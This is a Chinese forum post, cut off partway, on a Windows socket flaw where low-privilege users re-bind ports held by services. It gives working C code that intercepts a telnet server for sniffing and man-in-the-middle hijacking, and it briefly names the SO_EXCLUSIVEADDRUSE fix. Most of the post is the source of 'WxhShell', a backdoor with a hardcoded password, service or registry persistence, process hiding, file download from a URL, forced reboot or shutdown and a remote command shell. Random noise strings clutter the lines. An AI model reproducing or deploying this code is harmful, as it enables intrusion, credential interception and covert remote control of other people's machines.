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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: An?#B4:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )J+OyR=  
sieC7raO  
  saddr.sin_family = AF_INET; E&t8nlTx  
:,$"Gk  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E^{!B]/oP  
sEfT#$ a^8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zi\ex\ )5  
Vz-q7*o $S  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 csJ)Pt?d  
~W4SFp  
  这意味着什么?意味着可以进行如下的攻击: c,)]!{c  
2$t%2>1>@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y>h9:q|  
p NQ7uy  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |Go$z3bx  
s]A8C^;c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [%6)  
5f0g7w =-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #M#$2Vt  
(5+g:mSfr  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :p)^+AF"5  
M5:*aCN6P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jVoD9H F/  
T?Z^2.Pvc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \C>vj+!cJ  
SE i\H$ !  
  #include o F_r C[  
  #include SS _6VE*sI  
  #include *""W`x  
  #include    <|G!Qn?2-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HSU?4=Q  
  int main() `@ ,Vbn^_  
  { a ^juZ  
  WORD wVersionRequested; #v~dhx=R  
  DWORD ret; ~d\V>  
  WSADATA wsaData; \4<|QE  
  BOOL val; <u# 7K\:  
  SOCKADDR_IN saddr; &AeNrtGu  
  SOCKADDR_IN scaddr; o.zP1n|G~r  
  int err; 4!96k~d}  
  SOCKET s; [,ulz4"  
  SOCKET sc; ;+o6"ky5  
  int caddsize; #CyqiOM\*  
  HANDLE mt; }F9#3W&`c  
  DWORD tid;   Q 9f5}  
  wVersionRequested = MAKEWORD( 2, 2 ); )~nieQEZQ  
  err = WSAStartup( wVersionRequested, &wsaData ); {wz_ngQ  
  if ( err != 0 ) { EDnZ/)6Gg  
  printf("error!WSAStartup failed!\n"); p__N6a  
  return -1; rL+.3ZO):P  
  } { JDD"z  
  saddr.sin_family = AF_INET; H~Uy/22aQy  
   (LXYx<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fshG ~L7S9  
y[AB,Dd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uD{ xs  
  saddr.sin_port = htons(23); ln , 9v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X+,0;% p  
  { v&]y zl  
  printf("error!socket failed!\n"); ,BGUIu6  
  return -1; PVljb=8F  
  } 8)"lCIf  
  val = TRUE; W|0))5a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i!RYrae  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) GGhk`z  
  { S^EAE]  
  printf("error!setsockopt failed!\n"); rb'mFqg*u  
  return -1; eq&QWxiD*  
  } SlT>S1`rnG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cQBc6eAi  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;<b7kepR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C#)T$wl[E  
yn<J>e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o"A)t=  
  { Q^05n$ tI  
  ret=GetLastError(); BYa#<jXtAT  
  printf("error!bind failed!\n"); nf&5oE^  
  return -1; $o$WFV+h  
  } w2('75$J  
  listen(s,2); UH\{:@GjNO  
  while(1) 4"!kCUB  
  { B J I N  
  caddsize = sizeof(scaddr); 7#9%,6Yi  
  //接受连接请求 EymSrZw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #O8=M(- V  
  if(sc!=INVALID_SOCKET) [>3dhj[;  
  { vW?/:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y}Y~?kE>M|  
  if(mt==NULL) L?&&4%%  
  { L=C#E0{i  
  printf("Thread Creat Failed!\n"); 9v3n4=gc  
  break; t6\--lk_  
  } tuuwoiQ*`  
  } Gui[/iY,F  
  CloseHandle(mt); `f~$h?}3-@  
  } Lz:FR*  
  closesocket(s); YH^@8   
  WSACleanup(); EQ :>]O  
  return 0; -Xw S?*O  
  }   xpwy%uo  
  DWORD WINAPI ClientThread(LPVOID lpParam) E m+&I  
  { &_hEM~{  
  SOCKET ss = (SOCKET)lpParam;  +`ov1h  
  SOCKET sc; oJ" D5d,  
  unsigned char buf[4096]; |m@>AbR5dk  
  SOCKADDR_IN saddr; +StsSZ  
  long num; 8?: 2<  
  DWORD val; +|5 O b  
  DWORD ret; '^[+]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w8J8III\~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zt=P 0  
  saddr.sin_family = AF_INET; y+{)4ptg$<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EdSUBoWF}  
  saddr.sin_port = htons(23); zM<L_l&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +qT+iHa|n  
  { "^wIoJ6H'  
  printf("error!socket failed!\n"); I,)\506  
  return -1; MLmaA3  
  } ^}wF^ _  
  val = 100; NZ6:Zz M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sdyNJh7Jr  
  { X6qgApyE  
  ret = GetLastError(); DUF$-'A  
  return -1; FCKyKn  
  } =20 +(<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ji.?bKqHE  
  { lB_X mI1t  
  ret = GetLastError(); ~82 {Y _{/  
  return -1; T34Z#PFwe  
  } zfg+gd)Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @M'qi=s*  
  { @v&s|X '  
  printf("error!socket connect failed!\n"); A:yql`&s  
  closesocket(sc); h.l.da1#  
  closesocket(ss); NPM2qL9&J  
  return -1; ,\aL v  
  } eQn[  
  while(1) }Ya! [tX  
  { 0) F\aJ4Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 imAOYEH7}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &}pF6eIar  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0G33hIOS  
  num = recv(ss,buf,4096,0); Cx.##n0  
  if(num>0) WXDo`_{R  
  send(sc,buf,num,0); `Lavjmfr2V  
  else if(num==0) KtH^k&z.f  
  break; qK9A /Mc  
  num = recv(sc,buf,4096,0); k%kEW%I yG  
  if(num>0) pLV %g#h  
  send(ss,buf,num,0); |3Oyg?2  
  else if(num==0) M7 k WJ  
  break; a) P r&9I  
  } ;Bzx}7A  
  closesocket(ss); *rHz/& ,  
  closesocket(sc); _9p79S<+  
  return 0 ; ,&o^}TFkg  
  } -p>1:M <  
Q6e7Z-8  
A,=> |&*  
========================================================== 1\Pjz Lj  
/{R.   
下边附上一个代码,,WXhSHELL i1m>|[@k  
^3H:I8gRCl  
========================================================== |JHNFs  
T{"Ur :p  
#include "stdafx.h" n~}[/ly  
k)X\z@I'  
#include <stdio.h> W3\E; C-g0  
#include <string.h> 2 >j0,2  
#include <windows.h> $ Y^0l  
#include <winsock2.h> re}PpXRC  
#include <winsvc.h> r)K5<[\r  
#include <urlmon.h> [?O4l`  
1sonDBd0@;  
#pragma comment (lib, "Ws2_32.lib") HIvSpO  
#pragma comment (lib, "urlmon.lib") u U>L (  
p|mFF0SL  
#define MAX_USER   100 // 最大客户端连接数 (c^ {T)  
#define BUF_SOCK   200 // sock buffer ;BT7pyu%[  
#define KEY_BUFF   255 // 输入 buffer k.o8!aCm  
{x_cgsn  
#define REBOOT     0   // 重启 ',t*:GBZCf  
#define SHUTDOWN   1   // 关机 ZZTf/s*  
y@1QVt04  
#define DEF_PORT   5000 // 监听端口 .y3E @0a  
Th*}U&  
#define REG_LEN     16   // 注册表键长度 0chpC)#Q3;  
#define SVC_LEN     80   // NT服务名长度 l}/&6hI+d  
HpfZgkC+  
// 从dll定义API H)"]I3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yg* #~,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W83PMiN"T-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z/f._Z(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V@b7$z  
H^@Hco>|  
// wxhshell配置信息 A|:+c*7]  
struct WSCFG { RjPkH$u'Pj  
  int ws_port;         // 监听端口 o9]32l  
  char ws_passstr[REG_LEN]; // 口令 rBi<Yy$z  
  int ws_autoins;       // 安装标记, 1=yes 0=no r `n|fD.  
  char ws_regname[REG_LEN]; // 注册表键名 WG,1%=M@  
  char ws_svcname[REG_LEN]; // 服务名 ^,AE;Z T7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b7~Jl+m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Iz. h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [)GRP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -$0}rfX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?~t5>PEonv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <g;,or#$  
e!gNd>b {  
}; _X;,,VEV!  
Kl%[fjI)  
// default Wxhshell configuration wCR! bZ w  
struct WSCFG wscfg={DEF_PORT, SOM? 0.  
    "xuhuanlingzhe", T#E$sZ  
    1, @fp@1n  
    "Wxhshell", k3@d = k  
    "Wxhshell", <HN+pi  
            "WxhShell Service", yI#qkl-  
    "Wrsky Windows CmdShell Service", jl(D;JnF  
    "Please Input Your Password: ", E QU@';~8  
  1, UXdc'i g  
  "http://www.wrsky.com/wxhshell.exe", Qj_)^3`e  
  "Wxhshell.exe" x>TIx[ x  
    }; HR8YPU5  
I *sT*;U  
// 消息定义模块 V6HZvuXV!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,Ww}xmq1H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <PuY"-`/Oc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sCzpNJ"8  
char *msg_ws_ext="\n\rExit."; Zy;jp*Q  
char *msg_ws_end="\n\rQuit."; F+Qnf'at1  
char *msg_ws_boot="\n\rReboot..."; 1Td`S1'#yg  
char *msg_ws_poff="\n\rShutdown..."; .S#i/A'x  
char *msg_ws_down="\n\rSave to "; iQ8{N:58DN  
-Pt E+R[A  
char *msg_ws_err="\n\rErr!"; f:&JKB)N  
char *msg_ws_ok="\n\rOK!"; h@=@ fa  
%aK[Yvo6  
char ExeFile[MAX_PATH]; Xy 4k;+  
int nUser = 0; nAl \9#M  
HANDLE handles[MAX_USER]; L FJ@4]%V  
int OsIsNt; +p Ywc0~  
hp(MKfhH  
SERVICE_STATUS       serviceStatus; ,\P|%yv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y<VX.S2kf  
eaDZ^Z Er  
// 函数声明 D})/2O p   
int Install(void); #-G@p  
int Uninstall(void); jLI1Ed  
int DownloadFile(char *sURL, SOCKET wsh); y] D\i5Xv  
int Boot(int flag); &&P9T/Zks  
void HideProc(void); zNrn|(Y%Y  
int GetOsVer(void); Q5Nbu90  
int Wxhshell(SOCKET wsl); bO/r1W  
void TalkWithClient(void *cs); (:`4*xK  
int CmdShell(SOCKET sock); (Z?f eUxp  
int StartFromService(void); nA(" cD[,  
int StartWxhshell(LPSTR lpCmdLine); yx-"&K=`  
:LNZC,-f}5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Is3Y>oX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cyB+(jLHDs  
XIbxi  
// 数据结构和表定义 85Yi2+8f4  
SERVICE_TABLE_ENTRY DispatchTable[] = '[F`!X  
{ .*njgAq7  
{wscfg.ws_svcname, NTServiceMain}, \-6y#R-B  
{NULL, NULL} ^" g?m  
}; mIYKzu_k=  
z8}QXXa  
// 自我安装 \9#f:8Q  
int Install(void) 9v*y&V9/  
{ JluA?B7E  
  char svExeFile[MAX_PATH]; Tr:@Dv.O  
  HKEY key; oYf+I  
  strcpy(svExeFile,ExeFile); juWXB+d2Y  
S$fS|N3]%  
// 如果是win9x系统,修改注册表设为自启动 jFe8s@7  
if(!OsIsNt) { =UK:83R(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E2w-b^,5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )rj!/%  
  RegCloseKey(key); K g#Bg##  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aqf91 [c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _$@fCo0  
  RegCloseKey(key); ineSo8| @  
  return 0; 27c0wzq  
    } t!/~_}eDJ  
  } kjV>\e  
} SUMfebW5  
else { {[Ri:^nHgL  
%gFIu.c  
// 如果是NT以上系统,安装为系统服务 l6w\E=K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >\pF5a`  
if (schSCManager!=0) P (7el  
{ Qfy_@w]  
  SC_HANDLE schService = CreateService ,z#D[5  
  ( C}xfo}i  
  schSCManager, 5p!{#r6m  
  wscfg.ws_svcname, r5hkxk'  
  wscfg.ws_svcdisp, DeF`#a0E  
  SERVICE_ALL_ACCESS, I F!xZ6X8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T|S-?X,  
  SERVICE_AUTO_START, ;ZI8vF b  
  SERVICE_ERROR_NORMAL, |z_Dw$-xm  
  svExeFile, 5cQ]vb  
  NULL, v}t{*P  
  NULL, 4+ d(d  
  NULL, dZ(Z]`L,B  
  NULL, )hO%W|  
  NULL k}<H  
  ); L{>rN`{  
  if (schService!=0) ~?b1x+soV  
  { H9TeMY  
  CloseServiceHandle(schService); ",gVo\^  
  CloseServiceHandle(schSCManager); fmv:vs /9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w)vpo/?  
  strcat(svExeFile,wscfg.ws_svcname); v mkiw1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b~>@x{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1=IOio4U  
  RegCloseKey(key); Hi K+}?I  
  return 0; 2Q@n a @s  
    } wn_ >Vi1  
  } dba_(I~y  
  CloseServiceHandle(schSCManager); MYara;k  
} 6q>iPK Jt  
} K*Ba;"Ugeg  
.{8[o[w =  
return 1; iCiKr aW  
} ~gZ1*8 s`  
[olSgq!3  
// 自我卸载 jsgDJ}  
int Uninstall(void) R#~l[S8u^  
{ aDX&j2/  
  HKEY key; cyWb*Wv  
GR*sk#{  
if(!OsIsNt) { Hc\@{17   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =2GKv7q$x,  
  RegDeleteValue(key,wscfg.ws_regname); u?SwGXi~8  
  RegCloseKey(key); cOpe6H6,bz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dT7f yn  
  RegDeleteValue(key,wscfg.ws_regname); Wkk(6gS,  
  RegCloseKey(key); |*zgX]-+;  
  return 0; HX| p4-L  
  } R-ek O7z  
} JiXE{(  
} P6>C+T1  
else { -WyB2$!(  
Y+23 jlgb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;2g.X(Ra  
if (schSCManager!=0) sXPva@8_  
{ >ZPu$=[W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [Nm?qY  
  if (schService!=0) 4x+[?fw  
  { kkHK~(>G  
  if(DeleteService(schService)!=0) { [vb#W!M&|  
  CloseServiceHandle(schService); y7 #+VF`xf  
  CloseServiceHandle(schSCManager); k3B_M9>!  
  return 0; O zC%6;6h  
  } 4NaT@68p  
  CloseServiceHandle(schService); oaq,4FT  
  } &I'J4gk[  
  CloseServiceHandle(schSCManager); K9&Q@3V  
} {GCp5  
} hTv*4J&@|  
.tfal9  
return 1; Ex_dqko  
} &_;=]t s  
FG71<}C[K  
// 从指定url下载文件 z)*{bz]  
int DownloadFile(char *sURL, SOCKET wsh) lAA6tlc#C  
{ =<9Mv+Ry8  
  HRESULT hr; #huh!Mn  
char seps[]= "/"; n>Oze7hVY  
char *token;  1 <T|  
char *file; %|JL=E}%|  
char myURL[MAX_PATH]; V:5aq.o!  
char myFILE[MAX_PATH]; };9/J3]m  
k??CXW  
strcpy(myURL,sURL); A 9l d9R  
  token=strtok(myURL,seps); 9 {SzE /[  
  while(token!=NULL) c1_Zi  
  { @zw&-b:qI  
    file=token; SufM ~9Ll  
  token=strtok(NULL,seps); _[&.`jTFn  
  } G){+.X4g3  
9CwtBil<#g  
GetCurrentDirectory(MAX_PATH,myFILE); fYZd:3VdC  
strcat(myFILE, "\\"); wt@TR~a  
strcat(myFILE, file); IR2Qc6+{  
  send(wsh,myFILE,strlen(myFILE),0); @0H0!9'  
send(wsh,"...",3,0); @m`H~]AU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V{>;Z vj1R  
  if(hr==S_OK) wS7Vo{#@\  
return 0; -3d`e2^&}  
else FR'Nzi$  
return 1; L5d YTLY  
P $ h) Y  
} DTi^* Wj  
"#8^":,4  
// 系统电源模块 ?AxB0d9z  
int Boot(int flag) 9'|k@i:  
{ oGeV!hD  
  HANDLE hToken;  rB(Q)N  
  TOKEN_PRIVILEGES tkp; ,:-^O#  
}>,%El/  
  if(OsIsNt) { VpbJe@*D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bqF?!t<B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4C:dkaDq]  
    tkp.PrivilegeCount = 1; {4[dHfIy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^ -~=U^2tC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2|RxowXZ"  
if(flag==REBOOT) { i[.7 8K-s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SZtSUt(ss  
  return 0; "=40%j0  
} 5mudww`  
else { zh?B-"O=5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -g 9CW[  
  return 0; qOyS8tA.H  
}  ++8 Xi1  
  } r}|)oG,=  
  else { ?6N\AM '  
if(flag==REBOOT) { 7uv"#mq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pq-@waH3  
  return 0; oz3!%'  
} f::^zAV  
else { 7:$dl #  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4RQ38%> >j  
  return 0; 3|3ad'  
} B<@a&QBTg  
} MScUrW!TA  
v33[Rk'  
return 1; T I ZkN6  
} `-W4/7  
NFur+zwv  
// win9x进程隐藏模块 Vj)"?|V  
void HideProc(void) BTA2['  
{ <X1[j9Qtv0  
Tn3C0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3XbFg%8YG  
  if ( hKernel != NULL ) Fgh an.F  
  { EjEXev<]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RdpOj >fT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |VM=:}s&  
    FreeLibrary(hKernel); `q\v~FT  
  } lY |]  
Mcd K!V  
return;  NY[48H  
} F?y C=  
r|3u]rt  
// 获取操作系统版本 VWCC(YRU|$  
int GetOsVer(void) ;gRPTk$X3  
{ >u .u#de  
  OSVERSIONINFO winfo; wlP% U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e6T?2`5P  
  GetVersionEx(&winfo); lL'K1%{+ \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ilgd  
  return 1; 2v*X^2+  
  else QYBLU7  
  return 0; bX%4[BKP  
} 2|M,#2E-  
to\$'2F"q  
// 客户端句柄模块 OXoEA a  
int Wxhshell(SOCKET wsl) EScy!p\*  
{ f,-'eW/j  
  SOCKET wsh; cZt5;"xgr]  
  struct sockaddr_in client; D9r;Ys%  
  DWORD myID; 4tapQgj24  
G6"4JTWO  
  while(nUser<MAX_USER) U!nNT==  
{ T?-K}PUcQ  
  int nSize=sizeof(client); ; Oz p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fX&g. fH  
  if(wsh==INVALID_SOCKET) return 1; Hu!<GB~  
B=%YD"FAv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N,cj[6;T%  
if(handles[nUser]==0) Tl^)O^/  
  closesocket(wsh); <g8{LG0  
else <S@2%%W  
  nUser++; U4e9[=q`'  
  } z-S8s2.Fd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `3UvKqe  
]RW*3X  
  return 0; O=Vj*G ,  
} 23zR0z(L  
-]Oi/i,{  
// 关闭 socket fvDcE]_%H  
void CloseIt(SOCKET wsh) BUsAEw M  
{ J\I`#  
closesocket(wsh); 8O*O 5   
nUser--; 6lxZo_  
ExitThread(0); dSzq}w4xY  
} k0DX|O8mXV  
OadGwa\:s  
// 客户端请求句柄 d[ce3':z  
void TalkWithClient(void *cs) >PygUY d  
{ UWBR5  
) .H nK  
  SOCKET wsh=(SOCKET)cs; K5d>{c  
  char pwd[SVC_LEN]; "&kXAwe  
  char cmd[KEY_BUFF]; t\<*Q3rl-  
char chr[1]; o6:p2W  
int i,j; `+WQ^dP@  
'KNUPi|  
  while (nUser < MAX_USER) { ?vP }#N!=d  
e(-Vp7vXG  
if(wscfg.ws_passstr) { YW-Ge  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bEzy KrN\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,<CzS,(  
  //ZeroMemory(pwd,KEY_BUFF); ?)+I'lW!  
      i=0; ? ~~,?Uxw!  
  while(i<SVC_LEN) { NVo =5  
<$'FTv  
  // 设置超时 0OVxx>p/x  
  fd_set FdRead; 7:S)J~s*O  
  struct timeval TimeOut; _d3/="=  
  FD_ZERO(&FdRead); Ml,87fo  
  FD_SET(wsh,&FdRead); 9uY$@7qH  
  TimeOut.tv_sec=8; > bSQ}kXe  
  TimeOut.tv_usec=0; X57\sggK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " 1$hfs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Iq\ZX%q  
.n| M5X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S 5nri(m  
  pwd=chr[0]; Q<Th*t   
  if(chr[0]==0xd || chr[0]==0xa) {  Hh<}~s  
  pwd=0; G]fx3=  
  break; knu>{a}  
  } ?|we.{  
  i++; k%ckV`y  
    } QPwUW  
rIF6^?  
  // 如果是非法用户,关闭 socket *ps")?tlC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6rzXM`cs  
} 9m_Hm')VG  
ais"xm<V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [,p[%Dza  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {= l 9{K`~  
Y- c_ 2 )  
while(1) { C+c;UzbD  
t[^68]  
  ZeroMemory(cmd,KEY_BUFF); @{UtS2L  
l8ZzKb-  
      // 自动支持客户端 telnet标准   &]HY:  
  j=0; 62%=%XD  
  while(j<KEY_BUFF) {  |<1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WJ$!W  
  cmd[j]=chr[0]; ukRbSJ5a5  
  if(chr[0]==0xa || chr[0]==0xd) { "EC,#$e%ev  
  cmd[j]=0; rQPV@J]:  
  break; djtCv;z  
  } F:rT.n  
  j++; c4n]#((%a  
    } ?i7}d@636  
Ucz`^}+  
  // 下载文件 PWThm ooP  
  if(strstr(cmd,"http://")) { iOzY8M+N(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L+y90 T6?  
  if(DownloadFile(cmd,wsh)) RI jz7ZG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -XtDGNH F  
  else ,XNz.+Ov  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ue{0X\[P<  
  } r%~/y  
  else { ?Dk&5d^d  
u >o2lvy8  
    switch(cmd[0]) { Mk@%Wuxg2  
  0 lsX~d'W  
  // 帮助 o72G oUfs  
  case '?': { WfE,U=e*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ohe0}~)V  
    break; PF?tEw_WB  
  } ^X/[x]UOT@  
  // 安装 E)w^odwMU  
  case 'i': { A~Ov(  
    if(Install()) Ov=^}T4zl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "]C$"JR  
    else ]%VR Nm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \d#|n u  
    break; jN43vHm\Y9  
    } 7Z+4F=2ff  
  // 卸载 u*J,3o} <  
  case 'r': { 1FiFP5  
    if(Uninstall()) K7H` Yt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\<#fkeH  
    else CPCjY|w7   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NiQ_0Y}  
    break; Wq1%  
    } ]ozZW:  
  // 显示 wxhshell 所在路径 IirXF?&t  
  case 'p': { MxO0#  
    char svExeFile[MAX_PATH]; y BwgLn  
    strcpy(svExeFile,"\n\r"); Td !7Rx _  
      strcat(svExeFile,ExeFile); VMZ"i1rP  
        send(wsh,svExeFile,strlen(svExeFile),0); %4~2  
    break; ], HF) 21  
    } q'%-8t  
  // 重启 ({}JvSn1  
  case 'b': { eS/4gM7%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fH/J8<  
    if(Boot(REBOOT)) >Hq)1o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.tnzP D  
    else { 8f37o/L  
    closesocket(wsh); |lOH PA  
    ExitThread(0); \,i?WgWv  
    } VnB"0 "%w  
    break; b]X c5Dp{  
    } ,dM}B-  
  // 关机 { ke}W  
  case 'd': { &nk[gb o\  
